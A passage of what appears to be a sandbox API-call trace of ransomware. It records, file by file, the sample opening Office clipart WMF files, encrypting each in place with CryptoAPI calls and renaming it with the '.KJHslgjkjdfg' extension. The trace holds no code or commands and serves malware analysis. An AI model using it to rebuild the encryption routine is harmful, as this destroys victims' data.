returned 1 [0174.427] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf.kjhslgjkjdfg")) returned 1 [0174.429] CloseHandle (hObject=0x114) returned 1 [0174.429] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7850, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153302.WMF", cAlternateFileName="")) returned 1 [0174.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.430] GetProcessHeap () returned 0x2a0000 [0174.431] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.431] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.431] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.431] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.431] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.431] GetProcessHeap () returned 0x2a0000 [0174.431] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.431] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.431] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.431] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.434] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.435] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.435] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.435] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.435] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.435] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.435] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.435] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.435] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7850, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7850, lpOverlapped=0x0) returned 1 [0174.436] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7850, dwBufLen=0x7850 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7850) returned 1 [0174.437] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.437] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7850, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7850, lpOverlapped=0x0) returned 1 [0174.437] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.437] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.437] SetEndOfFile (hFile=0x114) returned 1 [0174.440] GetProcessHeap () returned 0x2a0000 [0174.440] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.440] GetProcessHeap () returned 0x2a0000 [0174.440] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.440] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf.kjhslgjkjdfg")) returned 1 [0174.442] CloseHandle (hObject=0x114) returned 1 [0174.442] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9658, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153305.WMF", cAlternateFileName="")) returned 1 [0174.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.443] GetProcessHeap () returned 0x2a0000 [0174.443] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.443] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.443] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.443] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.454] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.454] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.454] GetProcessHeap () returned 0x2a0000 [0174.454] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.454] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.454] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.454] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.454] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.454] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.455] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.455] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.455] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.455] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.455] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.455] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.455] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9658, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x9658, lpOverlapped=0x0) returned 1 [0174.460] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9660, dwBufLen=0x9660 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x9660) returned 1 [0174.461] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.461] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9660, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x9660, lpOverlapped=0x0) returned 1 [0174.461] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.461] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.461] SetEndOfFile (hFile=0x114) returned 1 [0174.464] GetProcessHeap () returned 0x2a0000 [0174.464] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.464] GetProcessHeap () returned 0x2a0000 [0174.464] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.464] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf.kjhslgjkjdfg")) returned 1 [0174.466] CloseHandle (hObject=0x114) returned 1 [0174.466] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3c58, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153307.WMF", cAlternateFileName="")) returned 1 [0174.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.467] GetProcessHeap () returned 0x2a0000 [0174.467] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.467] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.467] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.468] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.479] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.479] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.479] GetProcessHeap () returned 0x2a0000 [0174.479] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.479] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.479] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.479] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.479] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.479] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.480] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.480] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.480] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.480] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.480] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.480] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.480] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3c58, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3c58, lpOverlapped=0x0) returned 1 [0174.482] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3c60, dwBufLen=0x3c60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3c60) returned 1 [0174.482] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.483] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3c60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3c60, lpOverlapped=0x0) returned 1 [0174.483] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.483] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3d34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.483] SetEndOfFile (hFile=0x114) returned 1 [0174.486] GetProcessHeap () returned 0x2a0000 [0174.486] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.486] GetProcessHeap () returned 0x2a0000 [0174.486] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.486] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf.kjhslgjkjdfg")) returned 1 [0174.487] CloseHandle (hObject=0x114) returned 1 [0174.487] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4238, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153313.WMF", cAlternateFileName="")) returned 1 [0174.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.488] GetProcessHeap () returned 0x2a0000 [0174.488] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.488] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.488] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.489] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.496] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.496] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.496] GetProcessHeap () returned 0x2a0000 [0174.496] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.496] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.496] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.496] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.496] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.496] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.496] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.496] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.496] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.497] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.497] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.497] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.497] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4238, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4238, lpOverlapped=0x0) returned 1 [0174.498] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4240, dwBufLen=0x4240 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4240) returned 1 [0174.498] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.498] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4240, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4240, lpOverlapped=0x0) returned 1 [0174.498] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.498] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.498] SetEndOfFile (hFile=0x114) returned 1 [0174.501] GetProcessHeap () returned 0x2a0000 [0174.501] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.501] GetProcessHeap () returned 0x2a0000 [0174.501] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.501] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf.kjhslgjkjdfg")) returned 1 [0174.502] CloseHandle (hObject=0x114) returned 1 [0174.502] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4464, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153398.WMF", cAlternateFileName="")) returned 1 [0174.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.503] GetProcessHeap () returned 0x2a0000 [0174.503] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.503] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.503] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.503] WriteFile (in: 